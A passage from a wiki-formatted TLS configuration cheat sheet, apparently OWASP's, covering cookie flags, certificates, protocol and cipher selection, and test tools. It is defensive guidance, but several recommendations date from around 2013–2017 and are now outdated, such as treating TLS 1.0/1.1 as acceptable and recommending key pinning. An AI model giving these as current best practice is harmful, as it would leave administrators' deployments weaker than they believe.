The &amp;quot;Secure&amp;quot; flag must be set for all user cookies. Failure to use the &amp;quot;secure&amp;quot; flag enables an attacker to access the session cookie by tricking the user's browser into submitting a request to an unencrypted page on the site. This attack is possible even if the server is not configured to offer HTTP content since the attacker is monitoring the requests and does not care if the server responds with a 404 or doesn't respond at all.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Keep Sensitive Data Out of the URL ===&lt;br /&gt;
&lt;br /&gt;
Sensitive data must not be transmitted via URL arguments. A more appropriate place is to store sensitive data in a server side repository or within the user's session.  When using TLS the URL arguments and values are encrypted during transit. However, there are two methods that the URL arguments and values could be exposed.&lt;br /&gt;
&lt;br /&gt;
1. The entire URL is cached within the local user's browser history. This may expose sensitive data to any other user of the workstation.&lt;br /&gt;
&lt;br /&gt;
2. The entire URL is exposed if the user clicks on a link to another HTTPS site. This may expose sensitive data within the referral field to the third party site. This exposure occurs in most browsers and will only occur on transitions between two TLS sites. &lt;br /&gt;
&lt;br /&gt;
For example, a user following a link on [http://owasp.org https://example.com] which leads to [http://owasp.org https://someOtherexample.com] would expose the full URL of [http://owasp.org https://example.com] (including URL arguments) in the referral header (within most browsers). This would not be the case if the user followed a link on [http://owasp.org https://example.com] to [http://owasp.org http://someHTTPexample.com]&lt;br /&gt;
&lt;br /&gt;
=== Rule - Prevent Caching of Sensitive Data ===&lt;br /&gt;
&lt;br /&gt;
The TLS protocol provides confidentiality only for data in transit but it does not help with potential data leakage issues at the client or intermediary proxies. As a result, it is frequently prudent to instruct these nodes not to cache or persist sensitive data. One option is to add anticaching headers to relevant HTTP responses, (for example, &amp;quot;Cache-Control: no-cache, no-store&amp;quot; and &amp;quot;Expires: 0&amp;quot; for coverage of many modern browsers as of 2013). For compatibility with HTTP/1.0 (i.e., when user agents are really old or the webserver works around quirks by forcing HTTP/1.0) the response should also include the header &amp;quot;Pragma: no-cache&amp;quot;. More information is available in [https://tools.ietf.org/html/rfc2616 HTTP 1.1 RFC 2616], section 14.9.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use HTTP Strict Transport Security ===&lt;br /&gt;
&lt;br /&gt;
See: [[HTTP Strict Transport Security]]&lt;br /&gt;
&lt;br /&gt;
===Rule - Use Public Key Pinning===&lt;br /&gt;
&lt;br /&gt;
See: [[Certificate and Public Key Pinning]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;Server_Certificate_and_Protocol_Configuration&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;!-- backward compatible anchor --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Server Certificate ==&lt;br /&gt;
Note: If using a FIPS 140-2 cryptomodule disregard the following rules and defer to the recommended configuration for the particular cryptomodule. Nevertheless we recommend to use this rules to audit your configuration.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use Strong Keys &amp;amp; Protect Them ===&lt;br /&gt;
&lt;br /&gt;
The private key used to generate the cipher key must be sufficiently strong for the anticipated lifetime of the private key and corresponding certificate. The current best practice is to select a key size of at least 2048 bits. Additional information on key lifetimes and comparable key strengths can be found in [http://www.keylength.com/en/compare/], [http://csrc.nist.gov/publications/nistpubs/800-57/sp800-57_part1_rev3_general.pdf NIST SP 800-57]. In addition, the private key must be stored in a location that is protected from unauthorized access.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use a Certificate That Supports Required Domain Names ===&lt;br /&gt;
&lt;br /&gt;
A user should never be presented with a certificate error, including prompts to reconcile domain or hostname mismatches, or expired certificates. If the application is available at both [https://owasp.org https://www.example.com] and [https://owasp.org https://example.com] then an appropriate certificate, or certificates, must be presented to accommodate the situation. The presence of certificate errors desensitizes users to TLS error messages and increases the possibility an attacker could launch a convincing phishing or man-in-the-middle attack.&lt;br /&gt;
&lt;br /&gt;
For example, consider a web application accessible at [https://owasp.org https://abc.example.com] and [https://owasp.org https://xyz.example.com]. One certificate should be acquired for the host or server ''abc.example.com''; and a second certificate for host or server ''xyz.example.com''. In both cases, the hostname would be present in the Subject's Common Name (CN).&lt;br /&gt;
&lt;br /&gt;
Alternatively, the Subject Alternate Names (SANs) can be used to provide a specific listing of multiple names where the certificate is valid. In the example above, the certificate could list the Subject's CN as ''example.com'', and list two SANs: ''abc.example.com'' and ''xyz.example.com''. These certificates are sometimes referred to as &amp;quot;multiple domain certificates&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use Fully Qualified Names in Certificates ===&lt;br /&gt;
&lt;br /&gt;
Use fully qualified names in the DNS name field, and do not use unqualifed names (e.g., 'www'), local names (e.g., 'localhost'), or private IP addresses (e.g., 192.168.1.1) in the DNS name field. Unqualifed names, local names, or private IP addresses violate the certificate specification.&lt;br /&gt;
 &lt;br /&gt;
=== Rule - Do Not Use Wildcard Certificates ===&lt;br /&gt;
&lt;br /&gt;
You should refrain from using wildcard certificates. Though they are expedient at circumventing annoying user prompts, they also [[Least_privilege|violate the principal of least privilege]] and asks the user to trust all machines, including developer's machines, the secretary's machine in the lobby and the sign-in kiosk. Obtaining access to the private key is left as an exercise for the attacker, but its made much easier when stored on the file system unprotected.&lt;br /&gt;
&lt;br /&gt;
Statistics gathered by Qualys for [http://media.blackhat.com/bh-us-10/presentations/Ristic/BlackHat-USA-2010-Ristic-Qualys-SSL-Survey-HTTP-Rating-Guide-slides.pdf Internet SSL Survey 2010] indicate wildcard certificates have a 4.4% share, so the practice is not standard for public facing hosts. Finally, wildcard certificates violate [https://cabforum.org/extended-validation/ EV Certificate Guidelines].&lt;br /&gt;
&lt;br /&gt;
=== Rule - Do Not Use RFC 1918 Addresses in Certificates ===&lt;br /&gt;
&lt;br /&gt;
Certificates should not use private addresses. RFC 1918 is [https://tools.ietf.org/html/rfc1918 Address Allocation for Private Internets]. Private addresses are Internet Assigned Numbers Authority (IANA) reserved and include 192.168/16, 172.16/12, and 10/8.&lt;br /&gt;
&lt;br /&gt;
Certificates issued with private addresses violate [https://www.cabforum.org/EV_Certificate_Guidelines.pdf EV Certificate Guidelines]. In addition, Peter Gutmann writes in in [http://www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf Engineering Security]: &amp;quot;This one is particularly troublesome because, in combination with the router-compromise attacks... and ...OSCP-defeating measures, it allows an attacker to spoof any EV-certificate site.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Rule - Use an Appropriate Certification Authority for the Application's User Base  ===&lt;br /&gt;
&lt;br /&gt;
An application user must never be presented with a warning that the certificate was signed by an unknown or untrusted authority. The application's user population must have access to the public certificate of the certification authority which issued the server's certificate. For Internet accessible websites, the most effective method of achieving this goal is to purchase the TLS certificate from a recognize certification authority. Popular Internet browsers already contain the public certificates of these recognized certification authorities. &lt;br /&gt;
&lt;br /&gt;
Internal applications with a limited user population can use an internal certification authority provided its public certificate is securely distributed to all users. However, remember that all certificates issued by this certification authority will be trusted by the users. Therefore, utilize controls to protect the private key and ensure that only authorized individuals have the ability to sign certificates. &lt;br /&gt;
&lt;br /&gt;
The use of self signed certificates is never acceptable. Self signed certificates negate the benefit of end-point authentication and also significantly decrease the ability for an individual to detect a man-in-the-middle attack. &lt;br /&gt;
&lt;br /&gt;
=== Rule - Always Provide All Needed Certificates ===&lt;br /&gt;
&lt;br /&gt;
Clients attempt to solve the problem of identifying a server or host using PKI and X509 certificate. When a user receives a server or host's certificate, the certificate must be validated back to a trusted root certification authority. This is known as path validation.&lt;br /&gt;
&lt;br /&gt;
There can be one or more intermediate certificates in between the end-entity (server or host) certificate and root certificate. In addition to validating both endpoints, the user will also have to validate all intermediate certificates. Validating all intermediate certificates can be tricky because the user may not have them locally. This is a well-known PKI issue called the “Which Directory?&amp;quot; problem.&lt;br /&gt;
&lt;br /&gt;
To avoid the “Which Directory?&amp;quot; problem, a server should provide the user with all required certificates used in a path validation.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Be aware of and have a plan for the SHA-1 deprecation plan  ===&lt;br /&gt;
&lt;br /&gt;
In order to avoid presenting end users with progressive certificate warnings, organizations must proactively address the browser vendor's upcoming SHA-1 deprecation plans. The Google Chrome plan is probably the most specific and aggressive at this point: [http://googleonlinesecurity.blogspot.com/2014/09/gradually-sunsetting-sha-1.html Gradually sunsetting SHA-1]&lt;br /&gt;
&lt;br /&gt;
If your organization has no [https://support.globalsign.com/customer/portal/articles/1499561-sha-256-compatibility SHA256 compatibility issues] then it may be appropriate to move your site to a SHA256 signed certificate/chain.  If there are, or may be, issues - you should ensure that your SHA-1 certificates expire before 1/1/2017. &lt;br /&gt;
&lt;br /&gt;
== Server Protocol and Cipher Configuration ==&lt;br /&gt;
Note: If using a FIPS 140-2 cryptomodule disregard the following rules and defer to the recommended configuration for the particular cryptomodule. Nevertheless we recommend to use this rules to audit your configuration.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Only Support Strong Protocols ===&lt;br /&gt;
&lt;br /&gt;
SSL/TLS is a collection of protocols. Weaknesses have been identified with earlier SSL protocols, including [http://www.schneier.com/paper-ssl-revised.pdf SSLv2] and [http://www.yaksman.org/~lweith/ssl.pdf SSLv3], hence SSL versions 1, 2, and 3 should not longer be used. The best practice for transport layer protection is to only provide support for the TLS protocols - TLS 1.0, TLS 1.1 and TLS 1.2. This configuration will provide maximum protection against skilled and determined attackers and is appropriate for applications handling sensitive data or performing critical operations.&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers Nearly all modern browsers support at least TLS 1.0]. As of February 2014, contemporary browsers (Chrome v20+, Firefox v27+, IE v8+, Opera v10+, and Safari v5+) [http://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers support TLS 1.1 and TLS 1.2]. You should provide support for TLS 1.1 and TLS 1.2 to accommodate clients that support these protocols. The client and server (usually) negotiate the best protocol that is supported on both sides.&lt;br /&gt;
&lt;br /&gt;
TLS 1.0 is still widely used as the 'best' protocol by a lot of browsers that are not patched to the very latest version. It suffers from [http://www.yassl.com/yaSSL/Blog/Entries/2010/10/7_Differences_between_SSL_and_TLS_Protocol_Versions.html CBC Chaining attacks and Padding Oracle attacks]. TLSv1.0 should only be used after risk analysis and acceptance. [https://www.pcisecuritystandards.org/document_library?category=pcidss&amp;amp;document=pci_dss PCI DSS 3.2] prohibits the use of TLS 1.0 after June 30, 2018 (earlier requirements to do so by June 30, 2016 were [https://blog.pcisecuritystandards.org/migrating-from-ssl-and-early-tls postponed]).&lt;br /&gt;
&lt;br /&gt;
Support the extension 'TLS_FALLBACK_SCSV' to prevent all unnecessary fallbacks from a higher to a lower protocol version, see [https://tools.ietf.org/html/rfc7507 RFC7507].&lt;br /&gt;
&lt;br /&gt;
Under no circumstances either SSLv2 or SSLv3 should be enabled as a protocol selection:&lt;br /&gt;
* The [http://www.schneier.com/paper-ssl-revised.pdf SSLv2 protocol is broken] and does not provide adequate transport layer protection.&lt;br /&gt;
* [http://www.yaksman.org/~lweith/ssl.pdf SSLv3 had been known for weaknesses] which severely compromise the channel's security long before the [https://www.openssl.org/~bodo/ssl-poodle.pdf 'POODLE'-Bug] finally stopped to tolerate this protocol by October 2014. Switching off SSLv3 terminates the support of legacy browsers like [https://www.ssllabs.com/ssltest/viewClient.html?name=IE&amp;amp;version=6&amp;amp;platform=XP IE6/XP] and elder (in their default configuration).&lt;br /&gt;
&lt;br /&gt;
=== Rule - Prefer Ephemeral Key Exchanges ===&lt;br /&gt;
&lt;br /&gt;
Ephemeral key exchanges are based on Diffie-Hellman and use per-session, temporary keys during the initial SSL/TLS handshake. They provide perfect forward secrecy (PFS), which means a compromise of the server's long term signing key does not compromise the confidentiality of past session (see [[#Rule_-_Only_Support_Strong_Cryptographic_Ciphers | following rule]]). When the server uses an ephemeral key, the server will sign the temporary key with its long term key (the long term key is the customary key available in its certificate).&lt;br /&gt;
&lt;br /&gt;
Use cryptographic parameters (like DH-parameter) that use a secure length that match to the supported keylength of your certificate (&amp;gt;=2048 bits or equivalent Elliptic Curves). As some middleware had some issues with this, upgrade to the latest version. &lt;br /&gt;
Note: There are some legacy browsers or old Java versions that are not capable to cope with DH-Params &amp;gt;1024 bits, please read the [[#Rule_-_Only_Support_Strong_Cryptographic_Ciphers | following rule]] how this can be solved.&lt;br /&gt;
&lt;br /&gt;
Do *not* use standardized DH-parameters like they are defined by RFCs 2409, 3526, or 5114. Generate your individual DH-parameters to get unique prime numbers (this may take a long time):&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2013}}&lt;br /&gt;
openssl dhparam 2048 -out dhparam2048.pem&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
Set the path to use this parameter file, e.g. when using Apache:&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2013}}&lt;br /&gt;
SSLOpenSSLConfCmd DHParameters &amp;lt;path to dhparam2048.pem&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
  &lt;br /&gt;
If you have a server farm and are providing forward secrecy, then you might have to disable session resumption. For example, Apache writes the session id's and master secrets to disk so all servers in the farm can participate in resuming a session (there is currently no in-memory mechanism to achieve the sharing). Writing the session id and master secret to disk undermines forward secrecy.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Only Support Strong Cryptographic Ciphers  ===&lt;br /&gt;
&lt;br /&gt;
Each protocol (TLSv1.0, TLSv1.1, TLSv1.2, etc) provides cipher suites. As of TLS 1.2, [http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-3 there is support for over 300 suites (320+ and counting)], including [http://www.mail-archive.com/cryptography@randombit.net/msg03785.html national vanity cipher suites]. The strength of the encryption used within a TLS session is determined by the encryption cipher negotiated between the server and the browser. In order to ensure that only strong cryptographic ciphers are selected the server must be modified to disable the use of weak ciphers and to configure the ciphers in an adequate order. It is recommended to configure the server to only support strong ciphers and to use sufficiently large key sizes. In general, the following should be observed when selecting cipher suites:&lt;br /&gt;
* Use the very latest recommendations, they may be volatile these days&lt;br /&gt;
* Setup your policy to get a whitelist for recommended ciphers, e.g.:&lt;br /&gt;
** Activate to set the cipher order by the server, e.g. 'SSLHonorCipherOrder On'&lt;br /&gt;
** Highest priority for ciphers that support 'Forward Secrecy' (-&amp;gt; Support ephemeral Diffie-Hellman key exchange, see rule above) [http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html]&lt;br /&gt;
** Favor DHE over ECDHE (and monitor the CPU usage, see Notes below), ECDHE lacks now of really reliable Elliptic Curves, see discussion about secp{224,256,384,521}r1 and secp256k1, cf. [http://safecurves.cr.yp.to], [https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1675929]. The solution might be to use [http://www.researchgate.net/profile/Johannes_Merkle/publication/260050106_Standardisierung_der_Brainpool-Kurven_fr_TLS_und_IPSec/file/60b7d52f36a0cc2fdd.pdf Brainpool Curves &amp;lt;nowiki&amp;gt;[German]&amp;lt;/nowiki&amp;gt;], defined for TLS in [https://tools.ietf.org/html/rfc7027 RFC 7027], or [http://eprint.iacr.org/2007/286 Edwards Curves]. The most promising candidates for the latter are [https://tools.ietf.org/html/draft-josefsson-tls-curve25519-06 'Curve25519'] and [http://sourceforge.net/p/ed448goldilocks/wiki/Home/ Ed448-Goldilocks] (see  [https://tools.ietf.org/html/rfc7748 RFC 7748 - Elliptic Curves for Security]), that are about to be defined by RFC for TLS, cf. [https://tools.ietf.org/html/draft-ietf-tls-rfc4492bis-17 DRAFT-ietf-tls-rfc4492bis] and [http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-8 IANA (temporary registrations for ecdh_x25519, ecdh_x448)], &amp;lt;!--- as at December 2016 ---&amp;gt; furthermore some crypto libraries support [https://en.wikipedia.org/wiki/Comparison_of_TLS_implementations#Supported_elliptic_curves already Curve 25519]. &lt;br /&gt;
** Use RSA-Keys (no DSA/DSS: they get very weak, if a bad entropy source is used during signing, cf. [https://projectbullrun.org/dual-ec/tls.html], [https://factorable.net/weakkeys12.conference.pdf]) &amp;lt;!--- as at June 2014 ---&amp;gt;&lt;br /&gt;
** Favor GCM over CBC regardless of the cipher size. In other words, use Authenticated Encryption with Associated Data (AEAD), e.g. AES-GCM, AES-CCM.&lt;br /&gt;
** Watch also for stream ciphers which XOR the key stream with plaintext (such as AES/CTR mode) &amp;lt;!--- Jim please check this ---&amp;gt;&lt;br /&gt;
** Priorize the ciphers by the sizes of the cipher and the MAC&lt;br /&gt;
** Use SHA1 or above for digests, prefer SHA2 (or equivalent)&lt;br /&gt;
** Disable weak ciphers (which is implicitly done by this whitelist) without disabling legacy browsers and bots that have to be supported (find the best compromise), actually the cipher TLS_RSA_WITH_AES_128_CBC_SHA (=AES128-SHA, 0x2F) does this job.&lt;br /&gt;
*** If you are forced to support legacy operating systems, libraries or special business applications you may need to add 3DES (=TLS_RSA_WITH_3DES_EDE_CBC_SHA, =DES-CBC3-SHA, 0x0A) with very low priority for a transition time. Be ready to phase it out (status as of Feb 2017). It is &amp;lt;b&amp;gt;not&amp;lt;/b&amp;gt; recommended to use 3DES together with perfect forward secrecy ciphers (DHE, ECDHE). Disable 3DES completely, if possible.&lt;br /&gt;
*** Disable cipher suites that do not offer encryption (eNULL, NULL)&lt;br /&gt;
*** Disable cipher suites that do not offer authentication (aNULL). aNULL includes anonymous cipher suites ADH (Anonymous Diffie-Hellman) and AECDH (Anonymous Elliptic Curve Diffie Hellman).&lt;br /&gt;
*** Disable export level ciphers (EXP, eg. ciphers containing DES)&lt;br /&gt;
*** Disable key sizes smaller than 128 bits for encrypting payload traffic (see [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR02102/BSI-TR-02102-2.pdf BSI: TR-02102 Part 2 (German)])&lt;br /&gt;
*** Disable the use of MD5 as a hashing mechanism for payload traffic&lt;br /&gt;
*** Disable the use of IDEA cipher suites (see [https://tools.ietf.org/html/rfc5469])&lt;br /&gt;
*** Disable RC4 cipher suites (see [https://tools.ietf.org/html/rfc7465], [http://www.isg.rhul.ac.uk/tls/])&lt;br /&gt;
** DHE-ciphers should be usable for DH-Pamameters &amp;gt;= 2048 bits, without blocking legacy browsers (The ciphers 'DHE-RSA-AES128-SHA' and 'DHE-RSA-AES256-SHA' moved to the end as some browsers like to use them but are not capable to cope with DH-Params &amp;gt; 1024 bits; alternative option suppress these ciphers).&lt;br /&gt;
** ECDHE-ciphers must not support weak curves, e.g. less than 256 bits.&lt;br /&gt;
* Define a cipher string that works with different versions of your encryption tool, like openssl&lt;br /&gt;
* Verify your cipher string&lt;br /&gt;
** with an audit-tool, like [[O-Saft|OWASP 'O-Saft' (OWASP SSL audit for testers / OWASP SSL advanced forensic tool)]]&lt;br /&gt;
** listing it manually with your encryption software, e.g. openssl ciphers -v &amp;lt;cipher-string&amp;gt; (the result may differ by version), e.g.:&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2013}}&lt;br /&gt;
openssl ciphers -v &amp;quot;EDH+aRSA+AESGCM:EDH+aRSA+AES:EECDH+aRSA+AESGCM:EECDH+aRSA+AES:-SHA:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:RSA+AESGCM:RSA+AES+SHA256:RSA+AES+SHA:DES-CBC3-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;add optionally ':!aNULL:!eNULL:!LOW:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA' to protect older Versions of OpenSSL&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;3DES (=DES-CBC3-SHA): please read the text above&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;you may use openssl ciphers -V &amp;quot;...&amp;quot; for openssl &amp;gt;= 1.0.1:&lt;br /&gt;
&amp;lt;small&amp;gt;&lt;br /&gt;
 0x00,0x9F - DHE-RSA-AES256-GCM-SHA384   TLSv1.2 Kx=DH     Au=RSA  Enc=AESGCM(256) Mac=AEAD&lt;br /&gt;
 0x00,0x9E - DHE-RSA-AES128-GCM-SHA256   TLSv1.2 Kx=DH     Au=RSA  Enc=AESGCM(128) Mac=AEAD&lt;br /&gt;
 0x00,0x6B - DHE-RSA-AES256-SHA256       TLSv1.2 Kx=DH     Au=RSA  Enc=AES(256)    Mac=SHA256&lt;br /&gt;
 0x00,0x67 - DHE-RSA-AES128-SHA256       TLSv1.2 Kx=DH     Au=RSA  Enc=AES(128)    Mac=SHA256&lt;br /&gt;
 0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH   Au=RSA  Enc=AESGCM(256) Mac=AEAD&lt;br /&gt;
 0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH   Au=RSA  Enc=AESGCM(128) Mac=AEAD&lt;br /&gt;
 0xC0,0x28 - ECDHE-RSA-AES256-SHA384     TLSv1.2 Kx=ECDH   Au=RSA  Enc=AES(256)    Mac=SHA384&lt;br /&gt;
 0xC0,0x27 - ECDHE-RSA-AES128-SHA256     TLSv1.2 Kx=ECDH   Au=RSA  Enc=AES(128)    Mac=SHA256&lt;br /&gt;
 0xC0,0x14 - ECDHE-RSA-AES256-SHA        SSLv3   Kx=ECDH   Au=RSA  Enc=AES(256)    Mac=SHA1&lt;br /&gt;
 0xC0,0x13 - ECDHE-RSA-AES128-SHA        SSLv3   Kx=ECDH   Au=RSA  Enc=AES(128)    Mac=SHA1&lt;br /&gt;
 0x00,0x9D - AES256-GCM-SHA384           TLSv1.2 Kx=RSA    Au=RSA  Enc=AESGCM(256) Mac=AEAD&lt;br /&gt;
 0x00,0x9C - AES128-GCM-SHA256           TLSv1.2 Kx=RSA    Au=RSA  Enc=AESGCM(128) Mac=AEAD&lt;br /&gt;
 0x00,0x3D - AES256-SHA256               TLSv1.2 Kx=RSA    Au=RSA  Enc=AES(256)    Mac=SHA256&lt;br /&gt;
 0x00,0x3C - AES128-SHA256               TLSv1.2 Kx=RSA    Au=RSA  Enc=AES(128)    Mac=SHA256&lt;br /&gt;
 0x00,0x35 - AES256-SHA                  SSLv3   Kx=RSA    Au=RSA  Enc=AES(256)    Mac=SHA1&lt;br /&gt;
 0x00,0x2F - AES128-SHA                  SSLv3   Kx=RSA    Au=RSA  Enc=AES(128)    Mac=SHA1&lt;br /&gt;
 0x00,0x0A - DES-CBC3-SHA                SSLv3   Kx=RSA    Au=RSA  Enc=3DES(168)   Mac=SHA1&lt;br /&gt;
 0x00,0x39 - DHE-RSA-AES256-SHA          SSLv3   Kx=DH     Au=RSA  Enc=AES(256)    Mac=SHA1&lt;br /&gt;
 0x00,0x33 - DHE-RSA-AES128-SHA          SSLv3   Kx=DH     Au=RSA  Enc=AES(128)    Mac=SHA1&lt;br /&gt;
&amp;lt;/small&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
* Inform yourself how to securely configure the settings for your used services or hardware, e.g. [https://bettercrypto.org BetterCrypto.org: Applied Crypto Hardening (DRAFT)]&lt;br /&gt;
* Check new software and hardware versions for new security settings.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Notes:&amp;lt;/b&amp;gt;&lt;br /&gt;
* According to my researches the most common browsers should be supported with this setting, too (see also [https://www.ssllabs.com/ssltest/index.html SSL Labs: SSL Server Test -&amp;gt; SSL Report -&amp;gt; Handshake Simulation]).&lt;br /&gt;
* Monitor the performance of your server, e.g. the TLS handshake with DHE hinders the CPU abt 2.4 times more than ECDHE, cf. [http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html#some-benchmarks Vincent Bernat, 2011], [http://nmav.gnutls.org/2011/12/price-to-pay-for-perfect-forward.html nmav's Blog, 2011].&lt;br /&gt;
* Use of Ephemeral Diffie-Hellman key exchange will protect confidentiality of the transmitted plaintext data even if the corresponding RSA or DSS server private key got compromised. An attacker would have to perform active man-in-the-middle attack at the time of the key exchange to be able to extract the transmitted plaintext. All modern browsers support this key exchange with the notable exception of Internet Explorer prior to Windows Vista.&lt;br /&gt;
* Some ciphers like 'ECDHE-RSA-AES256-SHA' are explicitly inluded in the cipher string that it also works with elder versions of openssl.&lt;br /&gt;
&lt;br /&gt;
Additional information can be obtained within the [https://tools.ietf.org/html/rfc5246 TLS 1.2 RFC 5246], [https://www.ssllabs.com/projects/best-practices/index.html SSL Labs: 'SSL/TLS Deployment Best Practices'], [https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR02102/BSI-TR-02102-2.pdf BSI: 'TR-02102 Part 2 (German)'], [http://www.enisa.europa.eu/activities/identity-and-trust/library/deliverables/algorithms-key-sizes-and-parameters-report ENISA: 'Algorithms, Key Sizes and Parameters Report'], [https://tools.ietf.org/html/rfc7525 RFC 7525: Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS)] and [http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf FIPS 140-2 IG].&lt;br /&gt;
&lt;br /&gt;
=== Rule - Support TLS-PSK and TLS-SRP for Mutual Authentication ===&lt;br /&gt;
&lt;br /&gt;
When using a shared secret or password offer TLS-PSK (Pre-Shared Key) or TLS-SRP (Secure Remote Password), which are known as Password Authenticated Key Exchange (PAKEs). TLS-PSK and TLS-SRP properly bind the channel, which refers to the cryptographic binding between the outer tunnel and the inner authentication protocol. IANA currently reserves [http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-3 79 PSK cipher suites] and [http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-3 9 SRP cipher suites].&lt;br /&gt;
&lt;br /&gt;
Basic authentication places the user's password on the wire in the plain text after a server authenticates itself. Basic authentication only provides unilateral authentication. In contrast, both TLS-PSK and TLS-SRP provide mutual authentication, meaning each party proves it knows the password without placing the password on the wire in the plain text.&lt;br /&gt;
&lt;br /&gt;
Finally, using a PAKE removes the need to trust an outside party, such as a Certification Authority (CA).&lt;br /&gt;
&lt;br /&gt;
=== Rule - Only Support Secure Renegotiations  ===&lt;br /&gt;
&lt;br /&gt;
A design weakness in TLS, identified as [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3555 CVE-2009-3555], allows an attacker to inject a plaintext of his choice into a TLS session of a victim. In the HTTPS context the attacker might be able to inject his own HTTP requests on behalf of the victim. The issue can be mitigated either by disabling support for TLS renegotiations or by supporting only renegotiations compliant with [https://tools.ietf.org/html/rfc5746 RFC 5746]. All modern browsers have been updated to comply with this RFC.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Disable Compression ===&lt;br /&gt;
&lt;br /&gt;
Compression Ratio Info-leak Made Easy (CRIME) is an exploit against the data compression scheme used by the TLS and SPDY protocols. The exploit allows an adversary to recover user authentication cookies from HTTPS. The recovered cookie can be subsequently used for session hijacking attacks.&lt;br /&gt;
&lt;br /&gt;
=== Rule - Update your Crypto Libraries === &amp;lt;!-- this should be a matter of course --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Use solely versions of crypto libraies that are sill supported (eg. [https://www.openssl.org/policies/releasestrat.html openssl]).&lt;br /&gt;
* Watch out for vulnerabilities (e.g. [https://www.cvedetails.com/product-search.php cvedetails.com]) and update your crypto libraries on a regular base.&lt;br /&gt;
&lt;br /&gt;
== Test your overall TLS/SSL setup and your Certificate ==&lt;br /&gt;
This section shows the most common references only. For more tools and such, please refer to [[#Tools|Tools]].&lt;br /&gt;
&lt;br /&gt;
* [[Testing_for_SSL-TLS_%28OWASP-CM-001%29 | OWASP Testing Guide: Chapter on SSL/TLS Testing]]&lt;br /&gt;
* [[O-Saft|OWASP 'O-Saft' (OWASP SSL audit for testers / OWASP SSL advanced forensic tool)]]&lt;br /&gt;
* [https://www.ssllabs.com/ssltest SSL LABS Server Test]&lt;br /&gt;
* SSLyze - SSL configuration scanner https://github.com/nabla-c0d3/sslyze&lt;br /&gt;
* sslstrip - a demonstration of the HTTPS stripping attacks https://www.thoughtcrime.org/software/sslstrip/&lt;br /&gt;
* sslstrip2 - SSLStrip version to defeat HSTS https://github.com/LeonardoNve/sslstrip2 &lt;br /&gt;
* tls_prober - fingerprint a server's SSL/TLS implementation https://github.com/WestpointLtd/tls_prober&lt;br /&gt;
&lt;br /&gt;
* other Tools: [[Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_%28OWASP-EN-002%29#References| Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002) (DRAFT)]] - References - Tools&lt;br /&gt;
&lt;br /&gt;
== Client (Browser) Configuration  ==&lt;br /&gt;
&lt;br /&gt;
The validation procedures to ensure that a certificate is valid are complex and difficult to correctly perform.  In a typical web application model, these checks will be performed by the client's web browser in accordance with local browser settings and are out of the control of the application. However, these items do need to be addressed in the following scenarios:&lt;br /&gt;
&lt;br /&gt;
* The application server establishes connections to other applications over TLS for purposes such as web services or any exchange of data&lt;br /&gt;
* A thick client application is connecting to a server via TLS&lt;br /&gt;
&lt;br /&gt;
In these situations extensive certificate validation checks must occur in order to establish the validity of the certificate. Consult the following resources to assist in the design and testing of this functionality. The NIST PKI testing site includes a full test suite of certificates and expected outcomes of the test cases.&lt;br /&gt;
* [http://csrc.nist.gov/groups/ST/crypto_apps_infra/pki/pkitesting.html NIST PKI Testing]&lt;br /&gt;
* [https://tools.ietf.org/html/rfc5280 IETF RFC 5280]&lt;br /&gt;
&lt;br /&gt;
